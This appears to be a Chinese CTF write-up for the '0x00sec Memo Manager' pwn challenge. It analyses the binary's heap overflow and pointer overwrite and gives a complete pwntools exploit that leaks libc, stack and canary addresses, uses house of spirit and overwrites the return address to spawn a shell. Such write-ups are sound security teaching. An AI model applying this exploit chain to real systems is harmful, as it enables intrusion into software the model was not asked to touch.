首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >0x00sec Memo Manager

0x00sec Memo Manager

作者头像
用户1423082
发布2024-12-31 18:22:14
发布2024-12-31 18:22:14
15100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

保护措施

代码语言:javascript
代码运行次数:0
运行
复制
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

这样看来还是写mallo hook,free hook(结果有限制写不了的)

程序就4个功能,先看简单的两个

dump只是简单的输出,没有检测,输出为00截断,可以信息泄露

代码语言:javascript
代码运行次数:0
运行
复制
int __fastcall dump(__int64 a1)
{
  return printf("Data: %s\n", a1);
}
’

del函数就是free,没有任何限制,只要绕过系统的检测就可以free

代码语言:javascript
代码运行次数:0
运行
复制
int __fastcall del(void *a1)
{
  free(a1);
  return puts("Done!");
}

alloc

我们输入data的时候可以二次输入,那么就可以堆溢出了,最后的那里相当于给了提示,不过暂时看来只能溢出top chunk

代码语言:javascript
代码运行次数:0
运行
复制
__int64 __fastcall alloc(__int64 a1)
{
  char s1[8]; // [sp+10h] [bp-20h]@1
  __int16 v3; // [sp+18h] [bp-18h]@1
  __int64 v4; // [sp+28h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  *(_QWORD *)s1 = 0LL;
  v3 = 0;
  fwrite("Data: ", 1uLL, 6uLL, stderr);
  if ( read(0, (void *)a1, 0x30uLL) <= 0 )
  {
    puts("Read error!");
    exit(1);
  }
  *(_QWORD *)(a1 + 24) = strdup((const char *)a1);
  if ( !*(_QWORD *)(a1 + 24) )
  {
    puts("Malloc error!");
    exit(1);
  }
  printf("Are you done? [yes/no] ", a1);
  if ( read(0, s1, 6uLL) <= 0 )
  {
    printf("Read error!", s1);
    exit(1);
  }
  if ( strcmp(s1, "yes") )
  {
    if ( strcmp(s1, "no") )
    {
      fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
      exit(0);
    }
    printf("Data: ", "no");
    if ( read(0, *(void **)(a1 + 24), 0x30uLL) <= 0 )
    {
      puts("Read error!");
      exit(1);
    }
  }
  puts("Done!");
  return *MK_FP(__FS__, 40LL) ^ v4;
}

最后说一个可以覆盖data指针的功能,就是give up

代码语言:javascript
代码运行次数:0
运行
复制
  if ( v3 != 4 )
    {
LABEL_20:
      fwrite("Can't you read mate?", 1uLL, 0x14uLL, stderr);
      exit(1);
    }
    fwrite("Giving up already? [yes/no] ", 1uLL, 0x1CuLL, stderr);
    if ( read(0, &buf, 0x30uLL) <= 0 )
    {
      puts("Read error!");
      exit(1);
    }
    if ( !strcmp(&buf, "yes") )
      break;
    if ( strcmp(&buf, "no") )
    {
      fwrite("Which part of [yes/no] did you not understand?", 1uLL, 0x2EuLL, stderr);
      exit(0);
    }

那有了这个我们就可以任意读和任意free了

先泄露libc地址

代码语言:javascript
代码运行次数:0
运行
复制
# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "A" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
libc_base = read_addr - libc.symbols["read"]

在泄露栈地址

代码语言:javascript
代码运行次数:0
运行
复制
# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)

那么再泄露canary的值

代码语言:javascript
代码运行次数:0
运行
复制
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)

使用house of spirit技术,让buf+0x10的地址写到fastbin头指针

代码语言:javascript
代码运行次数:0
运行
复制
# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21) 
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()

覆盖返回地址并返回

代码语言:javascript
代码运行次数:0
运行
复制
# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)
giveupyes()

完整exp

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-12-26 20:33:26
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
context.log_level = "debug"
REMOTE = 1
if REMOTE:
	p = remote("159.203.116.12", 8888)
	libc = ELF("./libc-2.23.so")
	one_gadget_off = 0x45216
else:
	p = process("./memo")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	one_gadget_off = 0x3f306

elf = ELF("./memo")

def create(data):
	p.recvuntil("> ")
	p.sendline("1")
	p.recvuntil("Data: ")
	p.send(data)
	p.recvuntil("Are you done? [yes/no] ")
	p.send("yes")

def createAndOverWrite(payload):
	p.recvuntil("> ")
	p.sendline("1")
	p.recvuntil("Data: ")
	p.send("A" * 8)
	p.recvuntil("Are you done? [yes/no] ")
	# raw_input()
	p.send("no\x00")
	p.recvuntil("Data: ")
	p.send(payload)

def show():
	p.recvuntil("> ")
	p.sendline("2")
	p.recvuntil("Data: ")
	recv = p.recvuntil("\n")[:-1]
	return u64(recv.ljust(8, "\x00"))

def free():
	p.recvuntil("> ")
	p.sendline("3")

def giveup(payload):
	p.recvuntil("> ")
	p.sendline("4")
	p.recvuntil("Giving up already? [yes/no] ")
	p.send(payload)

def giveupyes():
	p.recvuntil("> ")
	p.sendline("4")
	p.recvuntil("Giving up already? [yes/no] ")
	p.send("yes\x00")


def getpid():
	print proc.pidof(p)[0]
	raw_input()


# info leak ———— leak read
read_got = elf.got["read"]
create("A" * 8)
payload = "no\x00\x00" + "B" * 0x14 + p64(read_got)
giveup(payload)
read_addr = show()
print "read_addr = " + hex(read_addr)
libc_base = read_addr - libc.symbols["read"]
print "libc_base = " + hex(libc_base)
one_gadget = libc_base + one_gadget_off
print "one_gadget = " + hex(one_gadget)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]

# info leak ———— leak stack
create("C" * 0x20)
# show
# 利用strdup也是00截断,可以连栈上的数据也复制到堆中了
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
p.recvuntil("C" * 0x20)
recv = p.recvuntil("\n\n")[:-2]
leak_stack = u64(recv.ljust(8, "\x00"))
print "leak_stack = " + hex(leak_stack)

buf_off = 0x110
buf_addr = leak_stack - buf_off
print "buf_addr = " + hex(buf_addr)

# # 经过调试发现这里其实可以可以leak heap,假如堆地址没有0x00的话。但是后来发现,题目输入的大小并不能绕过fastbin atack的大小检查,要输入0x60大小才行
# create("D" * 8)
# p.recvuntil("> ")
# p.sendline("2")
# p.recvuntil("Data: ")
# p.recvuntil("C" * 0x10)
# recv = p.recvuntil("\n")[:-1]
# leak_heap = u64(recv.ljust(8, "\x00"))
# print "leak_heap = " + hex(leak_heap)

# then try to write return addr 
# first leak canary(the high )
canary_addr = buf_addr + 0x28 + 1
payload = "no\x00\x00" + "E" * 0x14 + p64(canary_addr)
giveup(payload)
# show
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Data: ")
canary = u64(p.recv(7).ljust(8, "\x00"))
print "canary = " + hex(canary)

# house of spirit
# because strdup can't use 00
fake_free_addr = buf_addr + 0x10
fakechunk = "no" + "\x00" * 6 + p64(0x21) 
fakechunk += p64(0) + p64(fake_free_addr)
fakechunk += p64(0) + p64(111)
giveup(fakechunk)
free()

# overwrite return address
overwrite = p64(0) * 3 + "\x00" + p64(canary)[:-1] + p64(0) + p64(one_gadget)
createAndOverWrite(overwrite)


# getpid()
# get shell
giveupyes()

# giveupyes()
p.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档